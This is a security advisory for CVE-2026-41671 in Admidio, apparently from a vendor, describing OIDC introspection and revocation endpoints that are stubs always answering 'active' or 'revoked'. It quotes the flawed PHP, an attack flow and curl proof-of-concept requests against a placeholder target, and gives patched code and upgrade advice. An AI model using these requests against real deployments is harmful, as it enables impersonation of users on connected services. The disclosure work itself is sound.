CVE-2026-41671

The OIDC token introspection endpoint (/modules/sso/index.php/oidc/introspect) always returns {"active": true} for every request, regardless of whether a valid token is provided, whether the token is expired, revoked, or completely fabricated. The endpoint performs no authentication of the calling resource server and no validation of the submitted token. Any resource server that relies on this introspection endpoint to validate access tokens will accept all requests as authorized, enabling complete authentication bypass.

Additionally, the OIDC token revocation endpoint (/oidc/revoke) returns {"revoked": true} without actually revoking any token, preventing resource servers from invalidating compromised credentials.

Details

The vulnerability is in src/SSO/Service/OIDCService.php, lines 604-619:

public function handleIntrospectionRequest() {
    // TODO_RK
    if (!$this->isServiceSetup) {
        $this->setupService();
    }
    return new JsonResponse(["active" => true]);
}

public function handleRevocationRequest() {
    // TODO_RK
    if (!$this->isServiceSetup) {
        $this->setupService();
    }

    return new JsonResponse(["revoked" => true]);
}

The introspection endpoint is routed at modules/sso/index.php, line 58-59:

} elseif (strpos($requestUri, '/oidc/introspect') !== false) {
    $response = $oidcService->handleIntrospectionRequest();

The router comment at line 35 says "Login checks will be done in the individual endpoint handler functions!" but neither handleIntrospectionRequest nor handleRevocationRequest perform any authentication or authorization checks.

Per RFC 7662 (OAuth 2.0 Token Introspection), the introspection endpoint:

1. MUST authenticate the calling resource server (Section 2.1)
2. MUST validate the submitted token against its database
3. MUST return {"active": false} for invalid, expired, or revoked tokens

The current implementation violates all three requirements.

Attack flow:

1. Attacker obtains a resource server's endpoint URL that uses Admidio as its OIDC provider
2. Attacker crafts any arbitrary string as a Bearer token
3. Resource server sends the fabricated token to /oidc/introspect for validation
4. Admidio returns {"active": true} without any checks
5. Resource server accepts the fabricated token as valid and grants access

The revocation bypass compounds this: If a legitimate token is stolen, the resource server or client application cannot revoke it. Calling /oidc/revoke returns success without actually revoking the token in the database, so the stolen token remains usable indefinitely (until its expiry time).

PoC

# Step 1: Confirm the introspection endpoint exists and always returns active
# No valid token needed - any string works
curl -X POST https://TARGET/modules/sso/index.php/oidc/introspect \
  -d "token=COMPLETELY_FABRICATED_TOKEN_12345"

# Expected response: {"active":true}

# Step 2: Try with an empty token
curl -X POST https://TARGET/modules/sso/index.php/oidc/introspect \
  -d "token="

# Expected response: {"active":true}

# Step 3: Demonstrate that revocation is also broken
curl -X POST https://TARGET/modules/sso/index.php/oidc/revoke \
  -d "token=any_valid_token_here"

# Expected response: {"revoked":true}
# But the token is NOT actually revoked in the database

# Step 4: Verify the token is still active after "revocation"
curl -X POST https://TARGET/modules/sso/index.php/oidc/introspect \
  -d "token=any_valid_token_here"

# Still returns: {"active":true}

• Authentication Bypass on Resource Servers: Any application (wiki, CMS, project management tool, etc.) configured to validate tokens against this Admidio OIDC introspection endpoint will accept completely fabricated tokens. An attacker can impersonate any user on all connected resource servers.
• Inability to Revoke Compromised Tokens: If a legitimate access token is leaked or stolen, there is no way to revoke it through the standard OIDC revocation flow. The token remains valid until its 1-hour expiry.
• Scope Change (S:C): The vulnerability in the Admidio authorization server directly impacts the security of all connected resource servers (different security authority), which is why the CVSS scope is Changed.

The application does not adequately verify the identity of a user, device, or process before granting access. Typical impact: unauthorized access to functions or data reserved for authenticated parties.

CVE-2026-41671 has a CVSS score of 6.8 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (5.0.9); upgrading removes the vulnerable code path.

Kodem intelligence

Replace the stub implementations with proper token introspection and revocation logic:

public function handleIntrospectionRequest() {
    if (!$this->isServiceSetup) {
        $this->setupService();
    }
    
    $request = $this->getRequest();
    
    // 1. Authenticate the resource server (RFC 7662 Section 2.1)
    // The resource server MUST authenticate using client credentials
    $clientId = $request->getParsedBody()['client_id'] ?? null;
    $clientSecret = $request->getParsedBody()['client_secret'] ?? null;
    
    if (!$clientId || !$this->clientRepository->validateClient($clientId, $clientSecret, null)) {
        return new JsonResponse(['error' => 'invalid_client'], 401);
    }
    
    // 2. Get and validate the token
    $tokenValue = $request->getParsedBody()['token'] ?? '';
    if (empty($tokenValue)) {
        return new JsonResponse(['active' => false]);
    }
    
    try {
        // Validate the token using the resource server
        $validatedRequest = $this->resourceServer->validateAuthenticatedRequest(
            $request->withHeader('Authorization', 'Bearer ' . $tokenValue)
        );
        
        $tokenId = $validatedRequest->getAttribute('oauth_access_token_id');
        
        // Check if token is revoked
        if ($this->accessTokenRepository->isAccessTokenRevoked($tokenId)) {
            return new JsonResponse(['active' => false]);
        }
        
        $token = $this->accessTokenRepository->getToken($tokenId);
        
        // Check expiry
        if ($token->getExpiryDateTime() < new \DateTimeImmutable()) {
            return new JsonResponse(['active' => false]);
        }
        
        return new JsonResponse([
            'active' => true,
            'sub' => $token->getUserIdentifier(),
            'client_id' => $token->getClient()->getIdentifier(),
            'exp' => $token->getExpiryDateTime()->getTimestamp(),
            'scope' => implode(' ', array_map(fn($s) => $s->getIdentifier(), $token->getScopes())),
        ]);
    } catch (\Exception $e) {
        return new JsonResponse(['active' => false]);
    }
}

public function handleRevocationRequest() {
    if (!$this->isServiceSetup) {
        $this->setupService();
    }
    
    $request = $this->getRequest();
    
    // Authenticate the client
    $clientId = $request->getParsedBody()['client_id'] ?? null;
    $clientSecret = $request->getParsedBody()['client_secret'] ?? null;
    
    if (!$clientId || !$this->clientRepository->validateClient($clientId, $clientSecret, null)) {
        return new JsonResponse(['error' => 'invalid_client'], 401);
    }
    
    $tokenValue = $request->getParsedBody()['token'] ?? '';
    if (!empty($tokenValue)) {
        try {
            $validatedRequest = $this->resourceServer->validateAuthenticatedRequest(
                $request->withHeader('Authorization', 'Bearer ' . $tokenValue)
            );
            $tokenId = $validatedRequest->getAttribute('oauth_access_token_id');
            $this->accessTokenRepository->revokeAccessToken($tokenId);
        } catch (\Exception $e) {
            // RFC 7009: The server responds with HTTP 200 even for invalid tokens
        }
    }
    
    return new JsonResponse([], 200);
}

1. What is CVE-2026-41671? CVE-2026-41671 is a medium-severity improper authentication vulnerability in admidio/admidio (composer), affecting versions <= 5.0.8. It is fixed in 5.0.9. The application does not adequately verify the identity of a user, device, or process before granting access.
2. How severe is CVE-2026-41671? CVE-2026-41671 has a CVSS score of 6.8 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of admidio/admidio are affected by CVE-2026-41671? admidio/admidio (composer) versions <= 5.0.8 is affected.
4. Is there a fix for CVE-2026-41671? Yes. CVE-2026-41671 is fixed in 5.0.9. Upgrade to this version or later.
5. Is CVE-2026-41671 exploitable, and should I be worried? Whether CVE-2026-41671 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-41671 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-41671? Upgrade admidio/admidio to 5.0.9 or later.